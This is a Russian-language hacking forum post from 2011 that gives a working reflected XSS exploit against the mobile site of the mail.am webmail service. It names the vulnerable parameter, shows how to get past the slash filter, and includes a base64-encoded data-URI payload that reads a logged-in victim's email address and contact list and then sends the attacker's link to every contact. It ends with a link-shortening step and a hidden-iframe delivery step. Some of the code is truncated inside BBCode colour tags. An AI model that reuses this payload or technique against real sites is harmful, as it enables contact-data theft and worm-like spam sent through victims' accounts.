| M_script |
22.05.2011 16:45 |
Большинство людей применяют XSS только для того, чтобы получить чужие куки и использовать их в своих целях.
Но даже если использовать чужие куки невозможно (например, из-за привязки к IP), из XSS можно выжать еще многое.
В этом примере я покажу, как через пассивную XSS узнать мыло авторизованного пользователя mail.am, получить его контакт-лист и разослать по контакт-листу ссылку на свой сайт.
1) Пассивная XSS на сайте
http://m.mail.am/mail/reademail.php?id=x& folder=x
Уязвимый параметр - folder. Фильтруется слэш. Запрос можно передавать через POST
2) Внедряемый JS-код
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]String[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]fromCharCode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]47[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// переменная для обхода фильтрации слэша
[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]XMLHttpRequest[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]open[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'GET'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#DD0000"]'http:'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'m.mail.am'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'mail'[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#0000BB"]slash[/COLOR][COLOR="#007700"]+[/COLOR][COLOR="#DD0000"]'abook.php?func=open'[/COLOR][COLOR="#007700"],
[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]send[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]null[/COLOR][COLOR="#007700"]);[/COLOR][COLOR="#FF8000"]// запрос для получения страницы адресной книги
[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]document[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]createElement[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'body'[/COLOR][COLOR="#007700"]);
[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]xmlhttp[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]responseText[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]myEmail[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'title'[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]].[/COLOR][COLOR="#0000BB"]innerHTML[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]split[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]' - '[/COLOR][COLOR="#007700"])[[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]];[/COLOR][COLOR="#FF8000"]// получение мыла пользователя со страницы ("Mail.AM - user@mail.am - {Address book}")
[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]inputList[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]newBody[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]getElementsByTagName[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'input'[/COLOR][COLOR="#007700"]);
for([/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]i[/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Форма автоматической отправки POST-запроса на mail.am со своего сайта:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]
"[/COLOR][COLOR="#007700"]>
[/COLOR][/COLOR]
Чтобы скрыть реферер при отправке POST-запроса, используется протокол data:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]data[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#0000BB"]text[/COLOR][COLOR="#007700"]/[/COLOR][COLOR="#0000BB"]html[/COLOR][COLOR="#007700"];[/COLOR][COLOR="#0000BB"]base64[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]PGJvZHkgb25sb2FkPSJkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgneCcpLnN1Ym1pdCgpOyI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGZvcm0gaWQ9J3gnIGFjdGlvbj0iaHR0cDovL20ubWFpbC5hbS9tYWlsL3JlYWRlbWFpbC5waHAiIG1ldGhvZD0icG9zdCI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlkIiB2YWx1ZT0ieCI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZvbGRlciIgdmFsdWU9Ijxib2R5IG9ubG9hZD0mcXVvdDtzPVN0cmluZy5mcm9tQ2hhckNvZGUoNDcpO3g9bmV3IFhNTEh0dHBSZXF1ZXN0O3gub3BlbignR0VUJywnaHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ2Fib29rLnBocD9mdW5jPW9wZW4nLGZhbHNlKTt4LnNlbmQobnVsbCk7Yj1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdib2R5Jyk7Yi5pbm5lckhUTUw9eC5yZXNwb25zZVRleHQ7aWw9Yi5nZXRFbGVtZW50c0J5VGFnTmFtZSgnaW5wdXQnKTtlbT1iLmdldEVsZW1lbnRzQnlUYWdOYW1lKCd0aXRsZScpWzBdLmlubmVySFRNTC5zcGxpdCgnIC0gJylbMV07ZT0nJztmb3IoaT0wO2k8aWwubGVuZ3RoO2klMmIlMmIpe2lmKGlsW2ldLm5hbWU9PSdUbycpe2UlMmI9aWxbaV0udmFsdWUlMmInLCc7fX1hbGVydChlbSUyYic6JyUyYmUpO2Z1bmN0aW9uIGEocCxuLHYpe2k9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnaW5wdXQnKTtpLnR5cGU9J2hpZGRlbic7aS5uYW1lPW47aS52YWx1ZT12O3AuYXBwZW5kQ2hpbGQoaSk7fWY9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnZm9ybScpO2YubWV0aG9kPSdQT1NUJztmLmFjdGlvbj0naHR0cDonJTJicyUyYnMlMmInbS5tYWlsLmFtJyUyYnMlMmInbWFpbCclMmJzJTJiJ3NlbmRtYWlsLnBocCc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2JvZHknKVswXS5hcHBlbmRDaGlsZChmKTthKGYsJ2VtYWlsbWVzc2FnZScsJ2h0dHA6JyUyYnMlMmJzJTJiJ215c2l0ZS5jb20nKTthKGYsJ2VtYWlsZnJvbScsZW0pO2EoZiwnZW1haWx0bycsZSk7YShmLCdlbWFpbHN1YmplY3QnLCdoZWxsbycpO2Yuc3VibWl0KCk7JnF1b3Q7PiI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPGlucHV0IHR5cGU9InN1Ym1pdCI[/COLOR][COLOR="#007700"]%[/COLOR][COLOR="#0000BB"]2bPC9mb3JtPjwvYm9keT4[/COLOR][COLOR="#007700"]=[/COLOR][/COLOR]
Полученую ссылку можно уменьшить через любой сервсис сокращения, например tinyurl.com:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//tinyurl.com/mailamtest
[/COLOR][/COLOR]
Добавляем скрытый фрейм на свой сайт:
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][/COLOR]
Теперь любой авторизованный пользователь mail.am, заходящий на сайт, незаметно будет отправлять по своему КЛ нужное сообщение.
P.S.:
Пример не работает:
в IE=8 и хроме из-за XSS-фильтров
|